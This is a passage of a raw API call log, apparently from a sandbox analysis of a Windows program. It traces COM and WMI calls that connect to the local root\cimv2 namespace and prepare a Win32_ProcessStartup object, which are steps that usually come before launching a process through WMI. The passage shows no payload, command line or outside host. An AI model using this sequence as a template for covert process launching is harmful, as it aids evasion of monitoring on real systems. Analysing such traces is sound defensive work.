puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.822] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0060.822] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0060.822] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0060.822] IUnknown:Release (This=0x111f638) returned 0x1 [0060.824] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bedb3b0) returned 0x0 [0060.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb3b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0060.824] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb3b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea1a30) returned 0x0 [0060.824] WbemDefPath:IUnknown:Release (This=0x1bedb3b0) returned 0x0 [0060.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea1a30) returned 0x0 [0060.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0060.825] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0060.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0060.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0060.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bedb3f0) returned 0x0 [0060.825] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb3f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.825] WbemDefPath:IUnknown:Release (This=0x1bedb3f0) returned 0x3 [0060.825] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0060.825] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0060.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0060.825] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0060.825] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x1 [0060.825] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0060.825] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0060.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea1a30) returned 0x0 [0060.825] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0060.825] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0060.825] WbemDefPath:IWbemPath:SetText (This=0x1bea1a30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0060.825] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.825] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0060.825] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.825] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0060.826] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0060.826] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0060.826] IUnknown:Release (This=0x111f638) returned 0x1 [0060.826] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bedb4f0) returned 0x0 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb4f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0060.827] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bedb4f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bedb510) returned 0x0 [0060.827] WbemLocator:IUnknown:Release (This=0x1bedb4f0) returned 0x0 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bedb510) returned 0x0 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0060.827] WbemLocator:IUnknown:AddRef (This=0x1bedb510) returned 0x3 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0060.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0060.827] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0060.827] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0060.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0060.828] WbemLocator:IUnknown:Release (This=0x1bedb510) returned 0x2 [0060.828] WbemLocator:IUnknown:Release (This=0x1bedb510) returned 0x1 [0060.828] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0060.828] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0060.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedb510, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bedb510) returned 0x0 [0060.828] WbemLocator:IUnknown:AddRef (This=0x1bedb510) returned 0x3 [0060.828] WbemLocator:IUnknown:Release (This=0x1bedb510) returned 0x2 [0060.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.828] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0060.828] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.828] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bedb530) returned 0x0 [0060.828] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bedb530, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bed2660) returned 0x0 [0061.080] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2660, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dfa20) returned 0x0 [0061.080] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfa20, pProxy=0x1bed2660, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0061.081] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x1 [0061.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2660, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dfa60) returned 0x0 [0061.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2660, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dfa20) returned 0x0 [0061.081] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfa20, pProxy=0x1bed2660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0061.081] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x2 [0061.081] WbemLocator:IUnknown:Release (This=0x11dfa60) returned 0x1 [0061.081] CoTaskMemFree (pv=0x1bed0650) [0061.081] WbemLocator:IUnknown:AddRef (This=0x1bed2660) returned 0x2 [0061.081] WbemLocator:IUnknown:Release (This=0x1bedb530) returned 0x0 [0061.082] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0061.083] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0061.083] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2660, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dfa30) returned 0x0 [0061.083] WbemLocator:IRpcOptions:Query (in: This=0x11dfa30, pPrx=0x1bedb590, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0061.083] WbemLocator:IUnknown:Release (This=0x11dfa30) returned 0x2 [0061.083] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0061.083] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0061.083] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2660, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bed2660) returned 0x0 [0061.083] WbemLocator:IUnknown:Release (This=0x1bed2660) returned 0x2 [0061.084] SysStringLen (param_1=0x0) returned 0x0 [0061.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0061.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0061.085] IWbemServices:GetObject (in: This=0x1bed2660, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bebbe50, ppCallResult=0x0) returned 0x0 [0061.349] IWbemClassObject:Get (in: This=0x1bebbe50, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0061.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0061.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0061.350] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0061.350] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0061.351] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0061.351] IUnknown:Release (This=0x111f638) returned 0x1 [0061.354] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bedb530) returned 0x0 [0061.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb530, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0061.354] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb530, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea1af0) returned 0x0 [0061.354] WbemDefPath:IUnknown:Release (This=0x1bedb530) returned 0x0 [0061.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea1af0) returned 0x0 [0061.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0061.354] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0061.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0061.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0061.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bedb550) returned 0x0 [0061.355] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb550, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.355] WbemDefPath:IUnknown:Release (This=0x1bedb550) returned 0x3 [0061.355] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0061.355] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0061.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0061.355] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0061.355] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0061.355] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.355] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0061.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea1af0) returned 0x0 [0061.355] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0061.355] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0061.355] WbemDefPath:IWbemPath:SetText (This=0x1bea1af0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0061.356] IWbemClassObject:Get (in: This=0x1bebbe50, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5c3e0*=0, plFlavor=0x2a5c3e4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5c3e0*=19, plFlavor=0x2a5c3e4*=0) returned 0x0 [0061.356] IWbemClassObject:Get (in: This=0x1bebbe50, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5c3e0*=19, plFlavor=0x2a5c3e4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a5c3e0*=19, plFlavor=0x2a5c3e4*=0) returned 0x0 [0061.356] IWbemClassObject:Put (This=0x1bebbe50, wszName="CreateFlags", lFlags=0, 